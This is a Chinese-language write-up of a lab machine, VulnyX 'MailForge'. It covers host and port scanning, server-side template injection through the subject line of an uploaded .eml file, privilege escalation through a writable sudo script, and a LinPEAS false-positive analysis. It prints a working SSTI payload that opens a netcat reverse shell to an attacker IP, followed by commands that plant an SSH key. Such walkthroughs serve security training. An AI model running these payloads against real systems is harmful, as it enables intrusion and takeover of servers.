目录

vulnyx MailForge

# 存活主机扫描

使用 arp-scan 扫描局域网内存活主机。

┌──(npc㉿kali)-[~]
└─$ sudo arp-scan -I eth2 192.168.6.0/24      

192.168.6.196   08:00:27:aa:a2:0f       (Unknown)
1
2
3
4

目标主机 IP:192.168.6.196

# 端口扫描

nmap 扫描 TCP 全端口。

┌──(npc㉿kali)-[~]
└─$ nmap 192.168.6.196 -sT -sV -p-

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 10.2 (protocol 2.0)
80/tcp   open  http    nginx
5000/tcp open  http    Werkzeug httpd 3.1.4 (Python 3.12.12)
1
2
3
4
5
6
7

开放了 22、80、5000 端口。

# 80 端口 Web 服务探测

访问 80 端口,跳转到 http://mailforge.nyx/,本地配置一个 hosts 解析再访问

首页返回了 MailForge say's : Hello

对 80 端口进行常规的目录扫描,未发现有用信息。

# 5000 端口 Web 服务探测

访问 5000 端口,出现一个邮件上传 eml 文件预览的页面。

创建一个 eml 文件,写入以下内容:

From: sender@example.com
To: recipient@example.com
Subject: 邮件主题
Date: Mon, 1 Jan 2024 12:00:00 +0800
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit

这是邮件的正文内容。
这是一封测试邮件。
1
2
3
4
5
6
7
8
9

后端是 python flask 框架搭建的,尝试一下是否存在 SSTI 漏洞。

From: sender@example.com
To: recipient@example.com
Subject: {{config}}
Date: Mon, 1 Jan 2024 12:00:00 +0800
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit

这是邮件的正文内容。
这是一封测试邮件。
1
2
3
4
5
6
7
8
9

确认存在 SSTI 漏洞。

# 利用 SSTI 漏洞反弹 shell

尝试执行命令,反弹个shell

From: sender@example.com
To: recipient@example.com
Subject: {{url_for.__globals__.__builtins__['eval']('__import__("os").popen("busybox nc 192.168.6.101 4444 -e bash").read()')}}
Date: Mon, 1 Jan 2024 12:00:00 +0800
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit

这是邮件的正文内容。
这是一封测试邮件。
1
2
3
4
5
6
7
8
9

这个 shell 环境非常难用,下载kali准备的公钥进去,ssh 直接连上来。

cd
mkdir -p .ssh
wget 192.168.6.101/authorized_keys -O .ssh/authorized_keys
chmod 600 .ssh/authorized_keys
1
2
3
4

ssh 登录

# 可写 sudo 脚本提权

查看当前用户权限,可以 sudo 无密码执行 /usr/local/bin/cleaner.sh 脚本,并且这个脚本可写。

直接修改内容,进入 root shell。

# linpeas 误报

跑了下 linpeas,发现有 suid 的 doas (可能需要配置文件才能利用)。

LinPEAS 报告显示几乎所有密码都能登录 root,这显然是误报。

  Bruteforcing user root...
  You can login as root using password: 
  You can login as root using password: root
  You can login as root using password: toor
  You can login as root using password: 123456
  You can login as root using password: password
  You can login as root using password: 123456789
  You can login as root using password: 12345678
1
2
3
4
5
6
7
8

检查 su 二进制文件发现它是指向 bbsuid 的软链接,这是 BusyBox 提供的 su 实现。

mailforge@mailforge:/tmp$ which su
/bin/su
mailforge@mailforge:/tmp$ ls -l /bin/su
lrwxrwxrwx    1 root     root            11 Dec 13 17:02 /bin/su -> /bin/bbsuid
1
2
3
4

查看 LinPEAS 源码中负责爆破的函数 su_try_pwd,其逻辑如下:

mailforge@mailforge:/tmp$ cat linpeas.sh | grep -A10 -B10 'You can login' 
su_try_pwd(){
  BFUSER=$1
  PASSWORDTRY=$2
  # 关键点:捕获 stdout,丢弃 stderr (2>/dev/null)
  trysu=$(echo "$PASSWORDTRY" | timeout 1 su $BFUSER -c whoami 2>/dev/null)
  
  # 只要 stdout 非空,即判定为成功
  if [ "$trysu" ]; then
    echo "  You can login as $BFUSER using password: $PASSWORDTRY" ...
  fi
}
1
2
3
4
5
6
7
8
9
10
11
12

LinPEAS 的逻辑假设是:只有登录成功并执行 whoami 后,stdout 才会有内容(即输出用户名);而失败时的报错应该在 stderr 中被丢弃。

然而,我在靶机上进行了验证测试:

mailforge@mailforge:/tmp$ su root
Password: 
su: incorrect password

# 关键测试:将 stderr 丢弃后,依然能看到输出
mailforge@mailforge:/tmp$ su root 2>/dev/null
Password: 
1
2
3
4
5
6
7

测试结果表明: BusyBox 的 su 在交互/管道模式下,将部分提示信息(如 "Password: " 或其他错误提示)输出到了 标准输出 (stdout),而不是标准错误 (stderr)。

因此,LinPEAS 的 trysu 变量捕获到了这些提示信息(非空),从而错误地进入了 if 分支,导致脚本认为所有密码均有效。

在我的 kali 机上进行测试,Password 提示符是输出到了 stderr:

修复建议:

使用 $? 检查 su 命令的退出状态码,不依赖 stdout 内容。su 成功时返回 0,失败时返回非 0。

最后一次更新于: 2025/12/15, 18:39:51